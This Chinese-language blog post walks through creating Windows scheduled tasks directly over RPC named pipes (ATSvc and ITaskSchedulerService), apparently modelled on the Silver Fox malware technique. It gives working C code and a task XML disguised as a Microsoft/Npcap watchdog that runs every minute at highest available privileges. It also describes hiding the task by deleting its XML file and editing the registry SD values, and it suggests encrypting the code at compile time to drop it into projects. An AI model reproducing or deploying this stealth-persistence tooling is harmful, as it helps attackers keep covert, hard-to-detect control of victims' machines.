前言

前几天看见一篇文章https://www.anquanke.com/post/id/301843 说银狐直接通过读写命名管道创建计划任务 然后就学习了一下相关手法

不是很熟悉RPC这块 有错误见谅

ATSvc

先看看at 虽然高版本windwos下没用

ATSvc 在高版本要EnableAt为1才可用

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/fbab083e-f79f-4216-af4c-d5104a913d40

uuid可以在msdn查到

编译idl

从msdn和reactos上抄idl下来编译

https://doxygen.reactos.org/df/d66/atsvc_8idl_source.html

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/24637f2d-238b-4d22-b44d-fe54b024280c

创建两个idl文件 vs直接编译 编译出两套.h .c文件

然后修复一下这些文件 里面的include语句和编译出来的文件对不上 手动改一下

然后编译 哪儿报错删哪儿 直到没有编译报错

然后解决链接报错 应该有三四个问题

#pragma comment(lib,"Rpcrt4.lib") 解决NdrClientCall3等函数链接问题

MIDL_user_allocate和MIDL_user_free的话自己定义一下

void* __RPC_USER MIDL_user_allocate(size_t size) {
     return malloc(size);
 }
 
 void __RPC_USER MIDL_user_free(void* p) {
     free(p);
 }

同样自己定义

extern "C" handle_t ATSVC_HANDLE_bind(ATSVC_HANDLE ServerName){
     RPC_WSTR StringBinding;
     handle_t BindingHandle;
     RPC_SECURITY_QOS SecurityQOS = { 0 };
 
     RpcStringBindingComposeW(
         (RPC_WSTR)UUID,
         (RPC_WSTR)L"ncacn_np",
         (RPC_WSTR)L"localhost",
         (RPC_WSTR)InterfaceAddress,
         NULL,
         &StringBinding);
 
     RpcBindingFromStringBindingW(StringBinding, &BindingHandle);
 
     SecurityQOS.Version = 1;
     SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
     SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
     SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
 
     RpcBindingSetAuthInfoExW(
         BindingHandle,
         NULL,
         RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
         RPC_C_AUTHN_WINNT,
         NULL,
         RPC_C_AUTHZ_NONE,
         &SecurityQOS);
 
     RpcStringFreeW(&StringBinding);
 
     return BindingHandle;
 }
 
 extern "C" void ATSVC_HANDLE_unbind(ATSVC_HANDLE ServerName, handle_t BindingHandle){
     RpcBindingFree(&BindingHandle);
 }

在编译成功后将idl文件移除项目 防止重复编译

void AddRemoteJob() {
     RPC_BINDING_HANDLE bindingHandle = NULL;
     DWORD jobId = 0;
 
     RPC_STATUS status = RpcBindingFromStringBindingW(
         (RPC_WSTR)L"ncacn_np:localhost[\\pipe\\atsvc]",
         &bindingHandle
     );
 
     if (status != RPC_S_OK) {
         wprintf(L"[!] RpcBindingFromStringBindingW failed: %d\n", status);
         return;
     }
 
     RPC_SECURITY_QOS qos = { 0 };
     qos.Version = 1;
     qos.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
     qos.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
     qos.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
     RpcBindingSetAuthInfoExW(bindingHandle, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
         RPC_C_AUTHN_WINNT, NULL, RPC_C_AUTHZ_NONE, &qos);
 
     AT_INFO job = { 0 };
     SYSTEMTIME st;
     GetLocalTime(&st);
 
     job.JobTime = ((st.wHour * 3600) + (st.wMinute * 60) + (st.wSecond) + 60) * 1000;;
     job.DaysOfMonth = 0;
     job.DaysOfWeek = 0;
     job.Flags = 0x08;  
     job.Command = _wcsdup(L"calc.exe");
 
     DWORD result = NetrJobAdd((ATSVC_HANDLE)bindingHandle, &job, &jobId);
 
     if (result == 0) {
         wprintf(L"[+] Task added successfully, Job ID: %u\n", jobId);
     }
     else {
         wprintf(L"[-] NetrJobAdd failed: %lu\n", result);
     }
 
     RpcBindingFree(&bindingHandle);
 }

这样就可以在win8以下的机器跑起来了(一分钟后执行calc.exe) 非交互的 不会弹窗 但是可以通过进程观察到calc.exe执行

这里上个线明显一点

不适用于win10 即使在注册表中设置了EnableAt为1 可以正常的通过at创建计划任务 但是并不会执行

可以看见跑不起来

意义不大

ITaskSchedulerService

大同小异 先更换对应的GUID

#define UUID L"86D35949-83C9-4044-B424-DB363231FD0C"

然后使用msdn的idl重新编译对应的.h .c文件

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/96c9b399-c373-4490-b7f5-78ec3849444e

需要一个xml 模板见MSDN

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/c5ac10cd-ba05-4c13-b6be-d0068ecc3b1f

解释一下这里的字段

字段解释

大部分都是见名知意的

RegistrationInfo 描述作者 描述信息等信息

Triggers 触发器 用于控制触发条件 可以按时间 也可以按操作 例如

<Triggers
     <TimeTrigger id=\"Trigger1\">
         <Repetition>
             <Interval>PT10M</Interval>
             <StopAtDurationEnd>false</StopAtDurationEnd>
         </Repetition>
         <StartBoundary>2005-01-01T12:05:00</StartBoundary>
         <Enabled>true</Enabled>
     </TimeTrigger>
 </Triggers>

PT 前缀 M 代表分钟 10 长度 即每隔10分钟触发一次

StartBoundary 启动时间

Settings 执行策略 一些控制项

字段

说明

MultipleInstancesPolicy

如果任务还在运行,新任务如何处理:IgnoreNew 表示忽略新实例

DisallowStartIfOnBatteries

电池供电时禁止运行

StopIfGoingOnBatteries

切换到电池电源时停止运行

AllowHardTerminate

是否允许强制终止任务

IdleSettings

空闲时的执行设置

AllowStartOnDemand

允许用户或系统手动运行

Hidden

是否隐藏任务

RunOnlyIfIdle

仅在系统空闲时运行

WakeToRun

唤醒计算机以运行

ExecutionTimeLimit

最大运行时间,PT72H 表示 72 小时

Priority

优先级(0~10,越小越高)

Actions 要做的操作

Principals 权限

如

<Principals>
   <Principal id="Author">
     <UserId>xxxxxxxxxxxx</UserId>
     <LogonType>InteractiveToken</LogonType>
     <RunLevel>LeastPrivilege</RunLevel>
   </Principal>
 </Principals>

InteractiveToken 当前登录用户 不需要提供密码

LeastPrivilege 普通权限

实现

首先要获取sid 拼接出xml

wchar_t* ConvertSidToWideStringSid(PSID sid)
 {
     LPSTR strSid = NULL;
     if (!ConvertSidToStringSidA(sid, &strSid))
     {
         wprintf(L"[!] ConvertSidToStringSidA failed: %d\n", GetLastError());
         return NULL;
     }
 
     int len = MultiByteToWideChar(CP_ACP, 0, strSid, -1, NULL, 0);
     if (len == 0)
     {
         wprintf(L"[!] MultiByteToWideChar size failed: %d\n", GetLastError());
         LocalFree(strSid);
         return NULL;
     }
 
     wchar_t* wSid = (wchar_t*)malloc(len * sizeof(wchar_t));
     if (!wSid)
     {
         wprintf(L"[!] malloc failed\n");
         LocalFree(strSid);
         return NULL;
     }
 
     if (MultiByteToWideChar(CP_ACP, 0, strSid, -1, wSid, len) == 0)
     {
         wprintf(L"[!] MultiByteToWideChar conversion failed: %d\n", GetLastError());
         free(wSid);
         LocalFree(strSid);
         return NULL;
     }
 
     LocalFree(strSid);
     return wSid;  
 }
 wchar_t* BuildTaskXml(const wchar_t* commandPath)
 {
     static wchar_t xmlBuffer[4096];
 
     char userName[256] = "";
     DWORD nameSize = sizeof(userName);
     GetUserNameA(userName, &nameSize);
 
     BYTE sid[256] = {};
     DWORD sidSize = sizeof(sid);
     char domain[256] = "";
     DWORD domainSize = sizeof(domain);
     SID_NAME_USE sidType;
 
     if (!LookupAccountNameA(NULL, userName, sid, &sidSize, domain, &domainSize, &sidType))
     {
         wprintf(L"[!] LookupAccountNameA failed: %d\n", GetLastError());
         return NULL;
     }
 
     wchar_t* wideSid = ConvertSidToWideStringSid(sid);
 
 
 
     // 拼接 XML
     swprintf(xmlBuffer, 4096,
         L"<?xml version=\"1.0\" encoding=\"UTF-16\"?>\n"
         L"<Task version=\"1.3\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\n"
         L"  <RegistrationInfo>\n"
         L"    <Author>Microsoft Corporation</Author>\n"
         L"    <Description>Ensure Npcap service is configured to start at boot</Description>\n"
         L"    <URI>\\Microsoft Corporation</URI>\n"
         L"  </RegistrationInfo>\n"
         L"  <Triggers>\n"
         L"    <TimeTrigger id=\"Trigger1\">\n"
         L"      <Repetition>\n"
         L"        <Interval>PT1M</Interval>\n"
         L"        <StopAtDurationEnd>false</StopAtDurationEnd>\n"
         L"      </Repetition>\n"
         L"      <StartBoundary>2005-01-01T12:05:00</StartBoundary>\n"
         L"      <Enabled>true</Enabled>\n"
         L"    </TimeTrigger>\n"
         L"  </Triggers>\n"
         L"  <Settings>\n"
         L"    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>\n"
         L"    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>\n"
         L"    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>\n"
         L"    <AllowHardTerminate>true</AllowHardTerminate>\n"
         L"    <StartWhenAvailable>false</StartWhenAvailable>\n"
         L"    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\n"
         L"    <IdleSettings>\n"
         L"      <Duration>PT10M</Duration>\n"
         L"      <WaitTimeout>PT1H</WaitTimeout>\n"
         L"      <StopOnIdleEnd>false</StopOnIdleEnd>\n"
         L"      <RestartOnIdle>false</RestartOnIdle>\n"
         L"    </IdleSettings>\n"
         L"    <AllowStartOnDemand>true</AllowStartOnDemand>\n"
         L"    <Enabled>true</Enabled>\n"
         L"    <Hidden>false</Hidden>\n"
         L"    <RunOnlyIfIdle>false</RunOnlyIfIdle>\n"
         L"    <WakeToRun>false</WakeToRun>\n"
         L"    <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>\n"
         L"    <Priority>7</Priority>\n"
         L"  </Settings>\n"
         L"  <Actions Context=\"Author\">\n"
         L"    <Exec>\n"
         L"      <Command>%s</Command>\n"
         L"    </Exec>\n"
         L"  </Actions>\n"
         L"  <Principals>\n"
         L"    <Principal id=\"Author\">\n"
         L"      <UserId>%s</UserId>\n"
         L"      <LogonType>InteractiveToken</LogonType>\n"
         L"      <RunLevel>HighestAvailable</RunLevel>\n"
         L"    </Principal>\n"
         L"  </Principals>\n"
         L"</Task>\n",
         commandPath, wideSid);
 
     return xmlBuffer;
 }

其它 https://learn.microsoft.com/zh-cn/windows/win32/taskschd/task-scheduler-objects

然后就和at差不多了

RPC_BINDING_HANDLE BindtoRpc()
 {
     RPC_WSTR StringBinding;
     RPC_BINDING_HANDLE bindingHandle;
     RPC_SECURITY_QOS qos = { 0 };
 
     RpcStringBindingComposeW((RPC_WSTR)UUID, (RPC_WSTR)L"ncacn_np", (RPC_WSTR)L"localhost", (RPC_WSTR)InterfaceAddress, NULL, &StringBinding);
 
     RPC_STATUS status = RpcBindingFromStringBindingW(StringBinding, &bindingHandle);
 
     if (status != RPC_S_OK) {
         wprintf(L"[!] RpcBindingFromStringBindingW failed: %d\n", status);
         return NULL;
     }
 
     qos.Version = 1;
     qos.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
     qos.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
     qos.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
     RpcBindingSetAuthInfoExW(bindingHandle, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
         RPC_C_AUTHN_WINNT, NULL, RPC_C_AUTHZ_NONE, &qos);
 
     RpcStringFreeW(&StringBinding);
 
     return bindingHandle;
 }
 
 
 VOID AddRemoteJob(RPC_BINDING_HANDLE handle,const wchar_t* cmd) {
 
     wchar_t* actualPath = NULL;
     TASK_XML_ERROR_INFO* errorInfo = NULL;
 
     wchar_t* xmlData = BuildTaskXml(cmd);
 
     HRESULT status = SchRpcRegisterTask(handle, L"\\npcapvvatchdog", xmlData, TASK_CREATE, NULL, 0, 0, NULL, &actualPath, &errorInfo);
 
 
 }
 
 int main() {
     AddRemoteJob(BindtoRpc(), L"C:\\Windows\\System32\\calc.exe");
 
     return 0;
 }

思考

SchRpcRegisterTask

更进一步的 我们不使用SchRpcRegisterTask

SchRpcRegisterTask会调用RPCRT4!NdrClientCall3 将参数序列化并发送RPC请求 我们下断NdrClientCall3 看看参数怎么填

第二个参数比较明显 opcode 1 对应SchRpcRegisterTask

我们追一下第一个参数哪儿来的

idl编译出来的

之后的参数以此传入即可

然后发现.c里面是有说明的 分析的很小丑

那很显然这块应该是说错了

读写管道

这块没研究出来 网上的文章都是基于MS_SCMR的 好像不用认证

直接通过读写管道来操作

先从https://www.x86matthew.com/view_post?id=create_svc_rpc

这有对应的封包函数 MS_SCMR相关的

尝试着改改拿来用 bind没问题 但是和直接抓包的得到明显不一样

pRpcResponseBaseHeader->bPacketType 会返回3(falut)

应该是要bind完要AUTH3 感兴趣的师傅可以研究研究

优化

计划任务的创建会在%SystemRoot%\System32\Tasks 留下相关文件 里面记录了相关的配置信息

该xml文件的存在与否不影响计划任务的生效

再把常规计划任务隐藏的哪些东西缝进来(修改注册表对应的index SD值)

这块就不赘述了

大概就是这么个东西 做一下编译时加密就能缝进项目里用了 完整代码见

https://github.com/Arcueld/RPC-schtasks

参考

https://www.anquanke.com/post/id/301843

https://www.x86matthew.com/view_post?id=create_svc_rpc